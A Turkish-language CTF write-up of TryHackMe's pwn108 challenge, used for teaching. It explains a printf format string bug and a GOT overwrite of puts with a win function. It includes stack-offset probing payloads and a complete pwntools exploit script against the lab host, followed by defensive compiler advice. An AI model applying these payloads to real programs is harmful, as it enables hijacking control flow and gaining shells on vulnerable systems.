TryHackMe
TryHackMe PWN108: Format String Açığı ile GOT Overwrite Saldırısı
January 6, 2026
Giriş
Binary exploitation dünyasında format string açıkları, bellek bozulması saldırılarının en zarif örneklerinden birini oluşturur. Bu yazıda TryHackMe platformundaki “pwn108” adlı meydan okumayı çözerken izlediğim adımları, düşünce sürecimi ve elde ettiğim bulguları paylaşacağım. Amacım sadece bayrağı yakalamak değil, aynı zamanda bu tür açıkların nasıl ortaya çıktığını ve neden tehlikeli olduğunu derinlemesine anlamak.
Hedef Tanıma ve İlk Analiz
Her binary exploitation çalışmasında olduğu gibi, ilk adım hedefi tanımaktı. Elimde “pwn108-1644300489260.pwn108” adında bir ELF dosyası vardı. Bu dosyayı çalıştırdığımda karşıma “THM University” temalı bir öğrenci giriş portalı çıktı. Program benden bir isim ve kayıt numarası istiyordu, ardından ekrana öğrenci profilimi ve sınav takvimimi yazdırıyordu.
İlk izlenimim, bunun tipik bir CTF senaryosu olduğuydu: kullanıcı girdisi alan bir program, muhtemelen bir yerlerde güvenlik açığı barındırıyordu. Ama hangi tür açık? Buffer overflow mu? Format string mi? Heap corruption mu? Bunu anlamak için sistematik bir analiz gerekiyordu.
Bu diyagram, checksec’le başlayıp shell açmaya kadar olan tüm süreci gösteriyor. Her adımda ne yaptığımı ve nasıl ilerlediğimi görebilirsiniz.
Güvenlik Mekanizmalarının Tespiti
Modern binary’lerde çeşitli koruma mekanizmaları bulunur. Bu mekanizmaları anlamadan exploit geliştirmek, karanlıkta ok atmak gibidir. checksec aracıyla binary’nin güvenlik profilini çıkardım:
RELRO STACK CANARY NX PIE
Partial RELRO Canary found NX enabled No PIE
Bu çıktı bana çok şey söylüyordu:
Partial RELRO: Global Offset Table (GOT) yazılabilir durumda. Bu, GOT overwrite saldırısının mümkün olduğu anlamına geliyordu. Full RELRO olsaydı GOT salt okunur olacak ve bu saldırı vektörü kapanacaktı.
Stack Canary: Stack’te bir “kanarya” değeri var. Bu değer, fonksiyon dönerken kontrol ediliyor. Eğer değişmişse, program __stack_chk_fail fonksiyonunu çağırarak kendini sonlandırıyor. Klasik buffer overflow saldırıları için bu ciddi bir engel.
NX Enabled: Stack bölgesi çalıştırılabilir değil. Yani stack’e shellcode yazıp çalıştıramam. Return-Oriented Programming (ROP) veya başka teknikler gerekecek.
No PIE: İşte bu çok önemli! Position Independent Executable devre dışı. Bu, binary’nin her çalıştırıldığında aynı bellek adreslerine yükleneceği anlamına geliyor. Fonksiyon adresleri, GOT adresleri hep sabit. Exploit geliştirirken bu adresleri doğrudan kullanabilirim.
Ayrıca file komutuyla binary’nin 64-bit x86-64 mimarisi için derlendiğini ve dinamik olarak bağlandığını doğruladım.
Kritik Stringler ve Fonksiyonlar
Binary içindeki stringleri ve fonksiyonları incelemek, saldırı yüzeyini anlamak için hayati önem taşır. strings komutunu kullanarak dikkat çekici kalıpları aradım:
strings ./pwn108-1644300489260.pwn108 | grep -i "flag\|bin\|sh\|system\|exec"
Sonuç heyecan vericiydi:
system
/bin/sh
Binary içinde hem system fonksiyonu hem de /bin/sh stringi mevcut! Bu, programın bir yerlerinde system("/bin/sh") çağrısı yapma potansiyeli olduğunu gösteriyordu. Belki de bir “win function” vardı ve benim görevim bu fonksiyona atlamaktı.
Disassembly Analizi
Gerçek saldırı vektörünü bulmak için assembly kodunu incelemem gerekiyordu. objdump ile binary’yi disassemble ettim ve fonksiyonları tek tek analiz ettim.
holidays() Fonksiyonu - Kutsal Kase
000000000040123b <holidays>:
40123b: push %rbp
40123c: mov %rsp,%rbp
...
40127a: lea 0xeee(%rip),%rax # 40216f - "/bin/sh" adresi
401281: mov %rax,%rdi
401284: call 401050 <system@plt>
...
40129f: ret
İşte bu! holidays fonksiyonu tam olarak aradığım şeydi. Fonksiyon, 0x40216f adresindeki stringi (/bin/sh) RDI register’ına yüklüyor ve system@plt fonksiyonunu çağırıyor. Yani holidays() fonksiyonuna atlayabilirsem, doğrudan shell elde edecektim.
Bu tür fonksiyonlara CTF dünyasında “win function” denir. Programın normal akışında çağrılmazlar ama bir şekilde kontrolü ele geçirip bu fonksiyona atlarsanız, işiniz biter.
main() Fonksiyonu - Açığın Kaynağı
00000000004012a0 <main>:
...
401300: lea -0x90(%rbp),%rax # İsim buffer'ı
401307: mov $0x12,%edx # 18 byte oku
...
401319: call 401070 <read@plt>
401332: lea -0x70(%rbp),%rax # Kayıt no buffer'ı
401336: mov $0x64,%edx # 100 byte oku
...
401348: call 401070 <read@plt>
40138e: lea -0x70(%rbp),%rax # Kayıt no buffer'ını al
401392: mov %rax,%rdi # printf'e argüman olarak ver
40139a: call 401060 <printf@plt> # ← AÇIK BURADA!
Dikkatli bakınca açık gözler önüne seriliyor: printf(buffer) çağrısı yapılıyor! Kullanıcının girdiği kayıt numarası, format string’i olmadan doğrudan printf‘e veriliyor. Bu klasik bir format string açığı.
Güvenli kullanım şöyle olmalıydı:
printf("%s", buffer); // Güvenli
Ama kodda şu var:
printf(buffer); // Tehlikeli!
Format String Açıkları: Temel Kavramlar
Format string açıkları, printf ailesi fonksiyonların yanlış kullanımından kaynaklanır. Bu açıkları anlamak için önce printf’in nasıl çalıştığını bilmek gerekir.
printf fonksiyonu, format string içindeki özel karakterleri yorumlayarak çıktı üretir. Örneğin:
printf("Sayı: %d, Adres: %p", 42, ptr);
Burada %d bir tamsayı, %p ise bir pointer bekler. Peki ya format string kullanıcıdan geliyorsa?
char buffer[100];
read(0, buffer, 100);
printf(buffer); // Kullanıcı "%p %p %p" yazarsa ne olur?
Kullanıcı %p %p %p yazarsa, printf stack’teki değerleri okumaya başlar! Çünkü printf, verilen format specifier’lar için argüman bekler, ama argüman verilmemiştir. Bu durumda stack’teki sıradaki değerleri kullanır.
Daha da tehlikelisi %n format specifier’ıdır. Bu specifier, şimdiye kadar yazılan karakter sayısını, verilen adrese yazar. Yani:
int count;
printf("Hello%n", &count); // count = 5 olur
Eğer biz adresi kontrol edebiliyorsak ve %n kullanabiliyorsak, belleğin herhangi bir yerine istediğimiz değeri yazabiliriz. Bu, format string açıklarını son derece güçlü kılar.
Stack’in yapısı böyle görünüyor. En üstte return address var, sonra canary, en altta da bizim kontrol ettiğimiz buffer’lar. printf bu buffer’ı format string olarak yorumlayınca işler karışıyor.
Stack Offset’ini Bulmak
Format string exploiti için kritik bir bilgi, kontrol ettiğimiz verinin stack’te kaçıncı pozisyonda olduğudur. Bunu bulmak için sistematik testler yaptım:
echo -e 'AAAAAAAA\nBBBBBBBBCCCCCCCC%6$p.%7$p.%8$p.%9$p' | ./pwn108
Çıktı:
Register no : CCCCCCC0x4141414141414141.0x424242424242420a.0x4342.0x10
0x4141414141414141 değeri “AAAAAAAA” stringinin ASCII karşılığı. Bu değer 6. pozisyonda (%6$p) görünüyor. Yani isim alanına yazdığım veri, stack’te 6. argüman pozisyonunda yer alıyor.
Bu bilgi altın değerinde çünkü artık:
- İsim alanına hedef adresi yazabilirim
- Kayıt numarası alanında
%6$nkullanarak o adrese yazabilirim
GOT Overwrite Stratejisi
Saldırı planım şuydu:
- İsim alanına
puts@GOTadresini yaz (0x404018) - Kayıt numarası alanında format string kullanarak bu adrese
holidaysfonksiyonunun adresini (0x40123b) yaz - Program akışında
putsçağrıldığında, aslındaholidaysçağrılacak ve shell açılacak
GOT (Global Offset Table), dinamik olarak bağlanan fonksiyonların adreslerini tutan bir tablodur. Program bir library fonksiyonunu ilk çağırdığında, linker gerçek adresi GOT’a yazar. Sonraki çağrılarda program doğrudan GOT’taki adresi kullanır.
Biz GOT’taki puts adresini holidays adresiyle değiştirirsek, program puts çağırdığını sanırken aslında holidays çağıracak!
İşte sihir burada gerçekleşiyor! Soldaki tablo exploit öncesi, sağdaki exploit sonrası durumu gösteriyor. puts fonksiyonunun adresi holidays’e işaret edince program “Merhaba” yazdıracağını sanıyor ama aslında bize shell açıyor.
Exploit Geliştirme Süreci
İlk exploit denemelerim başarısız oldu. Format string exploitleri hassas işlerdir; küçük bir hata bile programın çökmesine neden olabilir.
İlk Deneme: %n ile Doğrudan Yazma
payload = f"%{holidays}c%6$n".encode() # holidays = 4198971
Bu yaklaşım 4 byte yazdı ama 64-bit sistemde GOT girişi 8 byte. Üst byteler çöp değerlerle doldu ve program çöktü.
İkinci Deneme: %hn ile 2’şer Byte Yazma
low = holidays & 0xffff # 0x123b = 4667
high = (holidays >> 16) & 0xffff # 0x0040 = 64
payload = f"%{high}c%7$hn%{low - high}c%6$hn".encode()
Bu da çalışmadı. Bellek düzeni beklediğim gibi değildi.
Başarılı Deneme: %ln ile 8 Byte Yazma
Sonunda %ln format specifier’ını keşfettim. Bu, “long” yani 8 byte yazma işlemi yapıyor:
from pwn import *
HOST = "10.10.176.94"
PORT = 9008
puts_got = 0x404018
holidays = 0x40123b # 4198971 decimal
p = remote(HOST, PORT)
p.recvuntil(b"name]:")
name_payload = p64(puts_got) # 8 byte adres
p.sendline(name_payload)
p.recvuntil(b"Reg No]:")
payload = f"%{holidays}c%6$ln".encode()
p.sendline(payload)
p.sendline(b"cat flag.txt")
p.interactive()
Bu exploit şöyle çalışıyor:
- İsim alanına
puts@GOTadresi yazılıyor (little-endian formatında) - Kayıt numarası alanında
%4198971cile 4198971 karakter yazdırılıyor (çoğu boşluk) %6$lnile bu sayı (4198971 = 0x40123b) stack’teki 6. pozisyondaki adrese (puts@GOT) yazılıyor- Bir sonraki
putsçağrısı artıkholidaysfonksiyonunu çalıştırıyor - Shell açılıyor!
Bayrak Yakalandı!
THM{7urN3d_puts_in70_win}
Bayrak, tam da yaptığımız şeyi özetliyor: puts fonksiyonunu “win” fonksiyonuna dönüştürdük!
Öğrenilen Dersler
Geliştiriciler İçin
-
Asla kullanıcı girdisini doğrudan printf’e vermeyin. Her zaman
printf("%s", user_input)formatını kullanın. -
Compiler uyarılarını ciddiye alın. Modern derleyiciler
-Wformat-securitybayrağıyla bu tür hataları tespit edebilir. -
Full RELRO kullanın. Derleme sırasında
-Wl,-z,relro,-z,nowbayrakları GOT’u salt okunur yapar. -
ASLR ve PIE’yi etkinleştirin. Sabit adresler, saldırganın işini kolaylaştırır.
Güvenlik Araştırmacıları İçin
-
Sistematik analiz şart. checksec, strings, objdump gibi araçlarla binary’yi iyice tanıyın.
-
Stack offset’ini bulmak kritik. Format string exploitlerinde bu bilgi olmadan ilerleme sağlanamaz.
-
Farklı format specifier’ları deneyin. %n, %hn, %ln farklı boyutlarda yazma yapar. Duruma göre doğru olanı seçin.
-
GOT overwrite güçlü bir tekniktir. Partial RELRO durumunda, herhangi bir library fonksiyonunu istediğiniz fonksiyona yönlendirebilirsiniz.
Sonuç
Bu challenge, format string açıklarının ne kadar tehlikeli olabileceğini gözler önüne serdi. Tek bir printf(buffer) çağrısı, tüm programın kontrolünü ele geçirmemize yol açtı. Üstelik modern koruma mekanizmalarından stack canary bile bizi durduramadı çünkü stack’i taşırmadık; sadece printf’in meşru özelliklerini kötüye kullandık.
Binary exploitation, sabır ve sistematik düşünme gerektiren bir alan. Her başarısız deneme, sistemin nasıl çalıştığı hakkında yeni bilgiler sağlar. Bu yazıyı okuyan herkesin kendi lab ortamında bu teknikleri denemesini ve öğrenme sürecinin tadını çıkarmasını tavsiye ederim.
Kaynaklar ve İleri Okuma
- LiveOverflow’un Format String videoları
- “Hacking: The Art of Exploitation” - Jon Erickson
- CTFtime writeup arşivleri
- GDB ile debugging pratikleri
Yorumlar